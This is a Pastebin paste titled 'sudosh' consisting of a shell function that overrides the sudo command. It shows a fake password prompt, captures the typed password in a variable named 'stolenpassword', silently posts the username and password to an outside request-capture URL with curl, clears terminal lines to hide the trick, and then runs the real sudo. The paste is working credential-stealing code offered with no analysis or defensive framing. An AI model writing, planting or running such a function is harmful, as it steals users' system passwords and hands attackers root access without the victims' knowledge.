Advertisement
Guest User

sudosh

a guest
Oct 31st, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.29 KB | None | 0 0
  1. sudo () {
  2. command sudo -k;
  3. read -s -p "Password:" stolenpassword;
  4. curl -sX POST -d "user=$USER&pass=$stolenpassword" https://requestb.in/174syok1 > /dev/null;
  5. echo "";
  6. tput cuu1;tput el;
  7. tput cuu1;tput el;
  8. echo "";
  9. echo $stolenpassword | command sudo -S su;
  10. echo "";
  11. command sudo "$@";
  12. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement